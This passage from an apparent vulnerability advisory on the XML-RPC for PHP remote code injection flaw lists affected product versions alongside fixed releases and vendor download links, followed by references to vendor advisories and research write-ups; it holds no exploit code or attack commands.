http://security.debian.org/pool/updates/main/e/egroupware/egroupware-c ore_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-developer-tools_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-d eveloper-tools_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-email_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-e mail_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-emailadmin_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-e mailadmin_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-etemplate_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-e template_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-felamimail_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-f elamimail_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-filemanager_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-f ilemanager_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-forum_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-f orum_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-ftp_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-f tp_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-fudforum_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-f udforum_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-headlines_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-h eadlines_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-infolog_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-i nfolog_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-jinn_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-j inn_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-ldap_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-l dap_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-manual_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-m anual_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-messenger_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-m essenger_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-news-admin_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-n ews-admin_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-phpbrain_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-p hpbrain_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-phpldapadmin_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-p hpldapadmin_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-phpsysinfo_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-p hpsysinfo_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-polls_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-p olls_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-projects_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-p rojects_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-registration_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-r egistration_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-sitemgr_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-s itemgr_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-stocks_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-s tocks_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-tts_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-t ts_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-wiki_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-w iki_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware_1 .0.0.007-2.dfsg-2sarge1_all.deb
XML-RPC for PHP XML-RPC for PHP 1.1
-
XML-RPC for PHP xmlrpc-1.1.1.tgz
http://prdownloads.sourceforge.net/phpxmlrpc/xmlrpc-1.1.1.tgz?download
WordPress WordPress 1.2
-
WordPress WordPress 1.5.1.3
http://wordpress.org/latest.zip
WordPress WordPress 1.2.2
-
WordPress WordPress 1.5.1.3
http://wordpress.org/latest.zip
PEAR XML_RPC 1.3
-
PEAR XML_RPC-1.3.1.tgz
http://pear.php.net/get/XML_RPC-1.3.1.tgz
PEAR XML_RPC 1.3 RC2
-
PEAR XML_RPC-1.3.1.tgz
http://pear.php.net/get/XML_RPC-1.3.1.tgz
PEAR XML_RPC 1.3 RC3
-
PEAR XML_RPC-1.3.1.tgz
http://pear.php.net/get/XML_RPC-1.3.1.tgz
phpMyFAQ phpMyFAQ 1.4.3
-
phpMyFAQ phpMyFAQ 1.4.9
http://freshmeat.net/redir/phpmyfaq/38789/url_zip/download.php
phpMyFAQ phpMyFAQ 1.4.4
-
phpMyFAQ phpMyFAQ 1.4.9
http://freshmeat.net/redir/phpmyfaq/38789/url_zip/download.php
phpMyFAQ phpMyFAQ 1.4.8
-
phpMyFAQ phpMyFAQ 1.4.9
http://freshmeat.net/redir/phpmyfaq/38789/url_zip/download.php
phpMyFAQ phpMyFAQ 1.5 RC1
-
phpMyFAQ phpMyFAQ 1.5.0 RC5
http://freshmeat.net/redir/phpmyfaq/38790/url_tgz/download.php
phpMyFAQ phpMyFAQ 1.5 beta2
-
phpMyFAQ phpMyFAQ 1.5.0 RC5
http://freshmeat.net/redir/phpmyfaq/38790/url_tgz/download.php
WordPress WordPress 1.5
-
WordPress WordPress 1.5.1.3
http://wordpress.org/latest.zip
Xoops Xoops 2.0.1
-
Xoops XOOPS 2.0.12a
http://www.xoops.org/modules/core/visit.php?cid=3&lid=62
Xoops Xoops 2.0.10
-
Xoops XOOPS 2.0.12a
http://www.xoops.org/modules/core/visit.php?cid=3&lid=62
Xoops Xoops 2.0.2
-
Xoops XOOPS 2.0.12a
http://www.xoops.org/modules/core/visit.php?cid=3&lid=62
Xoops Xoops 2.0.3
-
Xoops XOOPS 2.0.12a
http://www.xoops.org/modules/core/visit.php?cid=3&lid=62
phpAdsNew phpAdsNew 2.0.4 -pr2
-
phpAdsNew phpAdsNew-2.0.5.zip
http://prdownloads.sourceforge.net/phpadsnew/phpAdsNew-2.0.5.zip?downl oad
Nucleus CMS Nucleus CMS 3.0 1
-
Nucleus CMS nucleus3.21.zip
http://prdownloads.sourceforge.net/nucleuscms/nucleus3.21.zip?download
Nucleus CMS Nucleus CMS 3.1
-
Nucleus CMS nucleus3.21.zip
http://prdownloads.sourceforge.net/nucleuscms/nucleus3.21.zip?download
Ampache Ampache 3.2
-
Ampache ampache-3.3.1.2.tar.gz
http://www.ampache.org/downloads/ampache-3.3.1.2.tar.gz
PHP PHP 4.0.1
-
PHP PHP 4.4.0
http://www.php.net/get/php-4.4.0.tar.bz2/from/a/mirror
PHP PHP 4.0.1 pl2
-
PHP PHP 4.4.0
http://www.php.net/get/php-4.4.0.tar.bz2/from/a/mirror
PHP PHP 4.0.3 pl1
-
PHP PHP 4.4.0
http://www.php.net/get/php-4.4.0.tar.bz2/from/a/mirror
PHP PHP 4.0.3
-
Debian php4-cgi-imap_4.0.3pl1-0potato3_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/php4- cgi-imap_4.0.3pl1-0potato3_m68k.deb -
PHP PHP 4.4.0
http://www.php.net/get/php-4.4.0.tar.bz2/from/a/mirror
PHP PHP 4.0.7 RC2
-
PHP PHP 4.4.0
http://www.php.net/get/php-4.4.0.tar.bz2/from/a/mirror
PHP PHP 4.2 -dev
-
PHP PHP 4.4.0
http://www.php.net/get/php-4.4.0.tar.bz2/from/a/mirror
PHP PHP 4.3.2
-
PHP PHP 4.4.0
http://www.php.net/get/php-4.4.0.tar.bz2/from/a/mirror
PHP PHP 4.3.5
-
PHP PHP 4.4.0
http://www.php.net/get/php-4.4.0.tar.bz2/from/a/mirror
Drupal Drupal 4.5.2
-
Drupal drupal-4.5.5.tar.gz
http://drupal.org/files/projects/drupal-4.5.5.tar.gz
Drupal Drupal 4.6
-
Drupal drupal-4.6.2.tar.gz
http://drupal.org/files/projects/drupal-4.6.2.tar.gz
Drupal Drupal 4.6.1
-
Drupal drupal-4.6.2.tar.gz
http://drupal.org/files/projects/drupal-4.6.2.tar.gz
HP Tru64 5.1 B-3
-
HP sws_v6_4_1a.tar.gz
http://h30097.www3.hp.com/internet/download.htm
References
XML-RPC for PHP Remote Code Injection Vulnerability
References:
References:
- PHPXMLRPC Library Remote Code Execution (GulfTech Research)
- Ampache Home Page (Ampache)
- b2evolution Homepage (b2evolution)
- BLOG:CMS Homepage (BLOG:CMS)
- CLSA-2005:980 - php4 (Conectiva)
- CRITICAL BUGFIX RELEASE: Serendipity 0.8.2 (S9Y)
- Drupal 4.6.2 and 4.5.4 released (Drupal)
- eGroupWare Homepage (eGroupWare)
- Eventum 1.5.5 Released (MySQL AB)
- Execution of arbitrary PHP code in phpMyFAQ version 1.4 and 1.5 (phpMyFAQ)
- FreeMed 0.8.1.1 Released (FreeMed Software)
- Linux.Plupii (Symantec)
- MailWatch for MailScanner Home Page (MailWatch for MailScanner)
- Nucleus CMS Homepage (Nucleus)
- PEAR Home Page (PEAR)
- PEAR XML_RPC Change Log (PEAR)
- PHP 4 ChangeLog (PHP)
- PHP-Wiki Homepage (PHP-Wiki)
- phpAdsNew Homepage (phpAdsNew)
- PHPGroupWare Homepage (PHPGroupWare)
- phpPgAds Home Page (phpPgAds)
- PostNuke Homepage (PostNuke Development Team)
- ProManager Homepage (Promanager)
- Remote Code Injection via xml rpc (PostNuke Development Team)
- Remote Code Injection via xml rpc (third party library used in MD-Pro CMS) (MAXdev)
- RHSA-2005:564-15 - php security update (RedHat)
- Serendipity Homepage (S9Y)
- Vendor Homepage (Seagull)
- WordPress 1.5.1.3 Available (WordPress)
- DRUPAL-SA-2005-003 - Drupal security advisory (Drupal)
- Metasploit exploit for PHP XMLRPC (comsatcat
- PEAR XML_RPC Remote Code Execution Vulnerability (GulfTech Security Research
- PHPXMLRPC Remote Code Execution (GulfTech Security Research
- Three More Vulnerable to PHPXMLRPC code injection (GulfTech Security Research